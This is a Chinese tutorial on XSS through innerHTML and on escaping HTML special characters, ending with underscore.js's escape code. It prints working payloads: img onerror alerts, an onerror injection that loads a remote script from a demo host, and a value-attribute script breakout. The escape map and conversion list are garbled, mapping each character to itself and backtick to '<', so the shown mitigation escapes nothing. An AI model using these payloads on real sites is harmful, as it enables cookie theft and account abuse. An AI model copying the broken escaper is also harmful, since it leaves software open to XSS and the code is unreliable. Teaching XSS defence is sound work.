xss攻击
举个例子,一个个人中心页的地址为:www.example.com/user.html?name=kevin,我们希望从网址中取出用户的名称,然后将其显示在页面中,使用 JavaScript,我们可以这样做:
/**
* 该函数用于取出网址参数
*/
function getQueryString(name) {
var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
var r = window.location.search.substr(1).match(reg);
if (r != null) return unescape(r[2]);
return null;
}
var name = getQueryString('name');
document.getElementById("username").innerHTML = name;
如果被一个同样懂技术的人发现的话,那么他可能会动点“坏心思”:
比如我把这个页面的地址修改为:你把地址改成 www.example.com/user.html?name=<img src=@ onerror=alert(1)> 的话,
就相当于:
document.getElementById("d1").innerHTML="<img src=@ onerror=alert(1)>"
此时立刻就弹窗了 1。
那我把地址改成 www.example.com/user.html?name=<img src=@ onerror='var s=document.createElement("script");s.src="https://mqyqingfeng.github.io/demo/js/alert.js";document.body.appendChild(s);' /> 呢?
document.getElementById("username").innerHTML = "<img src=@ onerror='var s=document.createElement(\"script\");s.src=\"https://mqyqingfeng.github.io/demo/js/alert.js\";document.body.appendChild(s);' />";
整理下其中 onerror 的代码:
var s = document.createElement("script");
s.src = "https://mqyqingfeng.github.io/demo/js/alert.js";
document.body.appendChild(s);
代码中引入了一个第三方的脚本,这样做的事情就多了,从取你的 cookie,发送到黑客自己的服务器,到监听你的输入,到发起 CSRF 攻击,直接以你的身份调用网站的各种接口……
总之,很危险。
为了防止这种情况的发生,我们可以将网址上的值取到后,进行一个特殊处理,再赋值给 DOM 的 innerHTML。
字符转义
我们的应对方式就是将取得的值中的特殊字符转为字符实体。
其实很简单,就是取字符的 unicode 值,以 &# 开头接十进制数字 或者以 &#x开头接十六进制数字
举个例子,当页面地址是 www.example.com/user.html?name=<strong>123</strong>时,我们通过 getQueryString 取得 name 的值:
var name = getQueryString('name'); // <strong>123</strong>
如果我们直接:
document.getElementById("username").innerHTML = name;
如我们所知,使用 innerHTML 会解析内容字符串,并且改变元素的 HMTL 内容,最终,从样式上,我们会看到一个加粗的 123。
如果我们转义,将 <strong>123</strong> 中的 < 和 > 转为实体字符,即 <strong>123</strong>,我们再设置 innerHTML,浏览器就不会将其解释为标签,而是一段字符,最终会直接显示 <strong>123</strong>,这样就避免了潜在的危险。
思考
那么问题来了,我们具体要转义哪些字符呢?
想想我们之所以要转义 < 和 > ,是因为浏览器会将其认为是一个标签的开始或结束,所以要转义的字符一定是浏览器会特殊对待的字符,那还有什么字符会被特殊对待的呢?(O_o)??
& 是一个,因为浏览器会认为 & 是一个字符实体的开始,如果你输入了 <,浏览器会将其解释为 <,但是当 < 是作为用户输入的值时,应该仅仅是显示用户输入的值,而不是将其解释为一个 <。
' 和 " 也要注意,举个例子:
服务器端渲染的代码为:
function render (input) {
return '<input type="name" value="' + input + '">'
}
input 的值如果直接来自于用户的输入,用户可以输入 "> <script>alert(1)</script>,最终渲染的 HTML 代码就变成了:
<input type="name" value=""> <script>alert(1)</script>">
结果又是一次 XSS 攻击……
最后还有一个是反引号 `,在 IE 低版本中(≤ 8),反引号可以用于关闭标签:
<img src="x` `<script>alert(1)</script>"` `>
所以我们最终确定的要转义的字符为:&, <, >, ", ', 和 `。转义对应的值为:
& --> &
< --> <
> --> >
" --> "
' --> '
` --> <
直接代码:
/**
* 返回一个object副本,使其键(keys)和值(values)对换。
* _.invert({a: "b"});
* => {b: "a"};
*/
_.invert = function(obj) {
var result = {};
var keys = Object.keys(obj);
for (var i = 0, length = keys.length; i < length; i++) {
result[obj[keys[i]]] = keys[i];
}
return result;
};
var escapeMap = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
'`': '`'
};
var unescapeMap = _.invert(escapeMap);
var createEscaper = function(map) {
var escaper = function(match) {
return map[match];
};
// 使用非捕获性分组
var source = '(?:' + _.keys(map).join('|') + ')';
var testRegexp = RegExp(source);
var replaceRegexp = RegExp(source, 'g');
return function(string) {
string = string == null ? '' : '' + string;
return testRegexp.test(string) ? string.replace(replaceRegexp, escaper) : string;
};
};
_.escape = createEscaper(escapeMap);
_.unescape = createEscaper(unescapeMap);
网友评论